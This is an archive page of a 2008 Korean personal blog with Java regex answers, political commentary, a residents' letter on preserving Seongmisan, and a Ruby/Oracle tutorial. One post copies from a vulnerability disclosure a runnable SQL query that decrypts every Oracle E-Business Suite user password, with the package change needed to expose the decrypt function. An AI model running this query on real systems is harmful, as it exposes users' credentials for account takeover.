[Links]2008-07-03
July 3, 2008 · No Comments
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자바 정규식 예제
July 3, 2008 · No Comments
okjsp 에 올라온 정규식 문제를 가지고 좀 고민해보았다.
Q :
sdklfsdjf abc1c 2 3 s dadqqq sdlkfjslkjdfslkdjflk abcs f l ks jdfkjqqq sflksjdfk abcsd f sdfqqq sdfsf
이런 문자열이 있을 때
abc로 시작하면서 qqq로 끝나는 문자열들을 배열로 받고 싶어요
제가 원하는건
[0] abc1c 2 3 s dadqqq
[1] abcs f l ks jdfkjqqq
[2] abcsd f sdfqqq
이렇게 결과가 나와야 하는데
문제는 abc1c 2 3 s dadqqq sdlkfjslkjdfslkdjflk abcs f l ks jdfkjqqq sflksjdfk abcsd f sdfqqq
이렇게 나온다는거… -_-
A :
‘*’ or ‘+’ 같은 quantifier 는 패턴과 일치하는한 최대한 많은 문자를 취합니다( 영어로는 ‘greedy : 탐욕스러운, 게걸스러운’ 하다라고 표현하더군요 ) 그러므로 이 때는 ‘?’ 를 이용하여 non-greedy 하게 할 수 있습니다.( 여기 깔끔하게 정리되어 있네요. http://exampledepot.com/egs/java.util.regex/Greedy.html )
Pattern p = Pattern.compile(”abc.*?qqq”);
Q :
정규식으로 img src=이미지경로만 가져오는것 질문드립니다.
A :
검색해서 찾은 PHP 용으로 작성된 패턴을 Java 용으로 살짝 바꿔봤습니다.
Pattern p = Pattern.compile(”(?i)]*[src] *= *[\"\']{0,1}([^\"\'\\ >]*)”);
Matcher m = p.matcher(str);while(m.find()) {
System.out.println(m.group(1));
}
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국민작가
July 3, 2008 · No Comments
아침 라디오 듣는데 작가 모씨가 나왔다.
일주일에 한 번 씩 게스트로 나오는 데 요즘 이동진 기자에 이어 퇴사하면서 한 번 더 유명해진 서명덕 기자의 이미지와 동안의 그의 얼굴이 문득 오버랩된다.
처음 라디오에서 들었을 때 이 친구가 그 유명한 베스트셀러 작가 모씨인지 몰랐고 몇 회 재미있게 본 드라마의 원작이 그 친구의 그 작품이란 것도 몰랐고 그리고 그 소설이 조선일보에 연재된 소설이었다는 것도 몰랐었다.
맘 고생 심하게 했을 또는 하고있을 이씨나 서씨에 비해 이 친구는 얼마나 현명하고 사랑스러운지!
조선일보의 사랑을 톡톡히 받으면서도 드라마로 젊은층의 사랑도 온전히 받고 게다가 KBS 라디오 PD 와 한겨례의 사랑까지도 자연스럽게 받고 있으니 … 그야말로 ‘달콤한 나의 도시’ 아니 ‘달콤한 너의 조국’에 살고 있는 ‘국민작가’라고나 할까.
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소란? 백색테러?
July 3, 2008 · No Comments
전경들이 든든히 뒤에 도열해 있고 그 앞에서 몸 풀고 있는 깍두기 머리의 훌러덩 윗통 벗었거나 런닝만 입은 용역 깡패들과 야밤에 대면했을 때 아주 가까운 거리는 아니었기에 아주머니들이 말씀해주셨듯 술 냄새 풀풀 풍기며 약간 눈이 풀어져 있는 그런 상태인지는 알 수 없었지만 그 날 밤의 공포는 공권력과 대치할 때의 그런 두려움과는 사뭇 다른 무엇이었다. 솔직히 정말 훨씬 더 무서웠다.
처와 술 한 잔하러 홍대 나갔다가 심상정 선생을 먼 발치에서 봤다. ‘고맙습니다’ 인사라도 전할까 하다가 이미 불콰해진 얼굴이 심선생의 하얀 블라우스에 더 도드라져 보일 것 같기도 하고 나름 바쁘고 힘들 때 지인들과 편히 한 잔 하러 왔을텐데 방해하고 싶지 않기도 해서 그냥 조용히 처와 나누던 술 잔 계속 주거니 받거니.
아침에 깨서 출근 전 뉴스를 보는데 어제 봤던 그 하얀 블라우스 그대로인 심선생이 TV 에 나온다. 특수임무수행자회(HID)의 몇 명이 당사에 난입한 사건 때문에 주점에서 아마 곧장 현장으로 달려왔던가 보다.
인터뷰에서 “‘심상정 의원, 앞으로 조심해’ 이런 소리를 들었는데 이렇게 표현되는구나 싶어서 소름이 쫙 끼친다” 라고 하는데 문득 예전 철거 지역에서 느꼈던 그 두려움이 떠올랐다.
철거 깡패들과 숭고한 조국애로 무장하신 HID 가 어찌 비교되오리까마는 공권력이 방관, 묵인 혹은 후원하는 민간(?)에 의해 자행되는 폭력(조선은 그냥 ‘소란’이라고 하긴 하더만)이란 점에서 둘의 폭력은 별로 다르지 않다.
어느 정도 폭력의 성격을 내 스스로 규정하고서 이런 말 하는게 헛소리이긴 하지만 검/경의 공정한 수사와 처벌이 이루어질지 지켜보겠다.
여전히 무서운 시대를 살고 있음을 느낀다.
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Oracle E-Business Suite 의 Users Passwords Decrypt 하는 방법
June 24, 2008 · No Comments
from : Oracle E-Business Suite Vulnerability: Users Passwords Decrypted
WITH guest AS
(
SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
1,
INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
'/'
)
- 1
)
) user_name
FROM DUAL)
SELECT fnd_user.user_name,
fnd_web_sec.decrypt
((SELECT fnd_web_sec.decrypt
(guest.user_pwd,
fnd_user.encrypted_foundation_password
) apps_password
FROM fnd_user,
guest
WHERE fnd_user.user_name = guest.user_name),
fnd_user.encrypted_user_password
) decrypted_user_password
FROM fnd_user
ORDER BY fnd_user.user_name
fnd_web_sec.decrypt 가 private function 이므로 위의 SQL 문을 정상 실행시키려면 아래와 같은 선언을 APPS.FND_WEB_SEC package 에 추가시켜 주어야 한다.
FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2)
RETURN VARCHAR2;
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경계적 원칙?
June 13, 2008 · No Comments
물론 안전성 문제도 무시할 수 없다. 한국은 유럽처럼 경계적 원칙을 견지해야 한다. 화학물질이든 음식이든 새로운 것을 받아들일 때 조금이라도 의심이 되면 안전이 보장될 때까지는 도입을 보류하는 보수적인 자세를 취해야 한다는 것이다. 우리는 지금까지 문제가 생기면 그제서야 그 문제에 대처했다. 그러면 안 된다. 이미 일어난 문제에 대한 대응이 아니라, 앞을 내다보고 행동해야 한다. 이에 대해서는 불행하게도 미국보다 유럽이 더 좋은 모델이다.
from [집중 인터뷰] 석학 리프킨에 들어본 쇠고기·GMO 개방
인용한 문장 중에 있는 ‘경계적 원칙’ 이란 포퍼의 ‘the problem of demarcation’ 를 가리키는 거겠죠?
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[Links]2008-06-13
June 13, 2008 · No Comments
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대통령이 가져야 할 덕목, Connectivity
June 13, 2008 · No Comments
서로의 연결. 이것이 우리가 후대에게 물려줘야 할 것이다. 우리에게 필요한 대통령은 바로 이 ‘서로의 연결’을 해줄 수 있는 사람이다. 베를린에서, 그리고 결국은 테헤란에서도.
Connectivity: pass it on. We need an American president who embodies it, in Berlin and, eventually, in downtown Tehran.
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성미산 학교 어린이들이 오세훈시장에 보내는 편지
June 11, 2008 · No Comments
우석훈씨가 주장한 ‘한나라당 출신 지방자치단체장 소환’(한나라당과 지방자치 문제에 대하여) 이 촛불집회로 타오르고 있는 민심을 이어나갈 수 있는 실천적 대안으로 주목받고 있는데 ( 우석훈 파격 주장, “이명박 안 되면 오세훈부터 끌어내리자.” - 이정환닷컴!) 이 건과 직접적인 관계는 없지만 소환 대상 중 핵심 인물인 오세훈 시장에게 성미산 학교 어린이들이 보내는 편지를 우연히 보게 되어 내용 옮겨본다.
촛불집회에서 뛰놀다가 다리 아프다고 업어달라고 떼쓰더니 막상 집에 가려니 야간 할증 붙어 택시비 많이 나오겠다고 걱정하는 엉뚱발랄 이쁜이 우리 조카가 계속 성미산 신나게 뛰놀 수 있도록 ‘성미산을 생태공원으로!‘


모든 편지 모음을 보려면 - ‘상수리반 아이들이 오세훈시장에게 쓴 편지~‘
이하는 ‘성미산 생태 보존을 위한 주민 의견서’ 전문
성미산에 학교를 짓겠다는 마포구의 도시관리계획안에 대해 마포주민들은 아래와 같이 의견을 드립니다.
성미산은 자연그대로 생태공원으로 보존되어야 합니다.홍익재단에서 성미산에 학교를 짓는다는 소식을 접한 순간, 2003년 성미산에 베어
쓰러진 나무들을 보며 떨리는 가슴을 모아 쥐었던 그 일을 떠올리지 않을 수 없었습니다.
성미산 기슭에 생활의 터전을 두고 살아온 저희들은 그 동안
성미산을 푸르게 되살리기 위한 다짐으로 장승도 세우고, 해마다 나무를 심고,
샛길을 막아 흙이 흘러내리는 것을 막고, 숲속학교를 열어
성미산 자연생태지도도 그리고, 휴지 줍기 등을 하면서 가꾸어 왔습니다.
성미산이 예전의 모습을 되찾으려면 아직도 많은 시간이 필요합니다.
그런데 또 성미산의 3 분지 1를 깎아 학교를 세우겠다고 하니 기막힌 일이 아닐 수 없습니다.성미산은 이제 어린 아이들이 찾아 뛰어놀 수 있는 뒷동산으로, 학생들에게는
도시 생태를관찰하고 배우는 장으로, 나이 든 어르신들에게는 건강을 지키는 벗으로,
바쁜 생활을 잠시 뒤로하고 이웃과 만날 수 있는 만남의 장으로 지역 주민들에게
위안과 휴식을 주는 곳입니다.
성미산의 일부 땅은 홍익재단의 소유지만 성미산의 숲은 가꾸고 보존하고 지켜온 주민들의 공동 소유이며,
앞으로 올 미래 세대의 소유이기도 합니다.자연 녹지 중요성에 대하여 잘 알고 있는 서울시나 마포구에서도
‘주거지역 내 녹지 확보’라는 정책을 힘 있게 추진해 가고 있습니다.
한 번 훼손하면 복원하기 힘든 자연을 없애면서 까지 성미산에 학교를 짓는 것은
시와 구 정책에 정면으로 위배되는 일이므로 행정 절차에 따라 가볍게 처리되는 일은 없어야 한다고 생각합니다.더구나 현재 성미산에 이전 건립하려고 하는 홍익재단의 학교는 지역 주민의
필요와 불편을 해결하기 위해 생겨난 것이 아닙니다.
단지, 홍익 재단의 현 학교 부지에 있는 건물이 낡아 새로 지으려는 것입니다.
엄연히 학교 부지가 있음에도 불구하고 성미산을 깎아내면서까지 공공의 이익을 위한 학교를 짓는다는데,
누구를 위한 공익이며, 자연을 훼손하면서 지은 학교에서 배우는 학생들에게
어떻게 자연을 사랑하고 가꾸라고 이야기 할 수 있단 말입니까?성미산 주변에는 지난 2003년 배수지 개발에 맞서 성미산을 지켜낸 활동을
계기로 다양한 주민 자치 문화가 꽃피고 있습니다.
이웃에 누가 사는지도 모르고 살았던 사람들이 기쁨도 함께 나누고 어려움도 함께 나누면서
하나 둘 삶의 어려움을 함께 해결하고 함께 즐기는 공동체가 형성되고 있습니다.
이러한 활동은 우리 사회적으로도 의미 있는 실험으로 평가되고 있고,
다른 나라와 다른 지역에서 보고 배우려고 찾아오는 사람들이 줄을 잇고 있으며,
2007년도에는 ‘살기 좋은 도시 만들기’ 정부 프로젝트에 시범마을로 선정되어 관의 적극 적인 지지로 주민 자치를 실현해 가고 있습니다.
이런 상황에서 성미산을 개발· 훼손하겠다는 것은 바로 성미산을 계기로 이뤄진
살고 싶은 마을의 모델·주민자치를 훼손하는 것과 다름 아니라고 생각합니다.서울시에서 추진한 2003년 주민 여론에서 ‘지역주민 92.6%가
성미산이 보존가치가 있다’고 나왔습니다. 성미산을 지키고자 하는 주민들의 열망은 여전합니다.
할 수 있는 모든 힘을 모아 성미산을 지켜낼 것입니다.
살고 싶은 마을은 사람들만이 아니라 모든 생명들과 공존·상생할 때 실현될 수 있다고 생각합니다.
성미산의 생태를 보존하기 위해 성미산을 반드시 생태 공원화해야 한다고 생각합니다.
이에 대한 서울시와 마포구의 적극적인 의지를 보여주시길 바랍니다.
아래 성미산을 생태공원화 제안서와 성미산 마을에 관한 언론의 보도 자료를 붙입니다.성미산은 아래와 같은 이유로 자연숲 그대로 생태공원화 되어야 합니다.
1, 성미산에 학교를 ‘이전’하는 것은 ‘주거지역 내 녹지 확보’라는 시와 구 정책에 정면으로위배되는 일입니다.
2, 땅은 홍익재단의 소유이지만,
숲은 지역주민과 미래 주인인 아이들의 공동소유입니다.
3, 2003년 벌목 후 훼손된 성미산에 학교건설은 생태복원을 요원하게 만듭니다.
4, 성미산의 훼손은 성미산을 중심으로 만들어온 살고 싶은 마을의 모델·주민자치를 훼손하는 것입니다.
5, 자연산을 지키고, 가꾸고자 하는 주민들의 열망은 여전합니다.2008년 2월 4일
성미산 생태 보존을 위한 대책위원회
참여와자치를위한 마포연대/ 마포두레생활협동조합/ 사람과 마을/
성미산학교/ 마포희망나눔/ 마포장애인자립생활센터/ 민주노동당마포구위원회/
공동육아 우리어린이집/ 공동육아 성미산공동육아 어린이집/ 공동육아 또바기 어린이집/
공동육아 참 나무어린이집/공동육아 도토리방과후 어린이집
관련 링크
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Ruby 로 Oracle DB 사용 초간단법
June 11, 2008 · No Comments
- 참고 : ‘오라클 데이터베이스를 Ruby로 치장하십시오.’ - Dustin Marx
Ruby/OCI8 로 손쉽게 Oracle DB 를 사용할 수 있다. 일단 ruby 와 Oracle client 가 설치되어 있다고 가정하고
1. ruby-oci8 설치
*NIX 에 설치하려면 설치 문서 따로 참조바라고 여기서는 Window 에 설치하는 방법만 기술하겠다.
rubyforge ( http://rubyforge.org/projects/ruby-oci8/ ) 에서 ruby-oci8-VERSION-mswin32.rb 을 다운로드한다.
설치
C:>ruby ruby-oci8-VERSION-mswin32.rb
2. 간단한 조회 예제
#!/usr/bin/env ruby dbh = DBI.connect(’DBI:OCI8:DB_SID_NAME’, ‘user_name’, ‘user_password’)
require ‘dbi’
rs = dbh.prepare(’SELECT sysdate FROM dual’)
rs.execute
while rsRow = rs.fetch do
p rsRow
#Alternative output: puts rsRow
#Alternative output: pp rsRow
end
rs.finish
dbh.disconnect
참고한 Oracle 문서에 보면 XML 로 조회 결과를 손쉽게 변환 출력하는 예가 있다.
#!/usr/bin/env ruby dbh = DBI.connect(’DBI:OCI8:DB_SID_NAME’, ‘user_name’, user_password’)
rs = dbh.execute(’select … from … ‘)
require ‘dbi’
states_rows = rs.fetch_all
rs.finish
DBI::Utils::XMLFormatter.table(states_rows)
dbh.disconnect
3. 만약 예제 실행할 때 OCI.DLL 파일을 못찾아서 driver load 를 못했다는 에러 만난다면 Window 의 환경변수 중 PATH 에 ‘%ORACLE_HOME%\bin’ 을 추가해준다.
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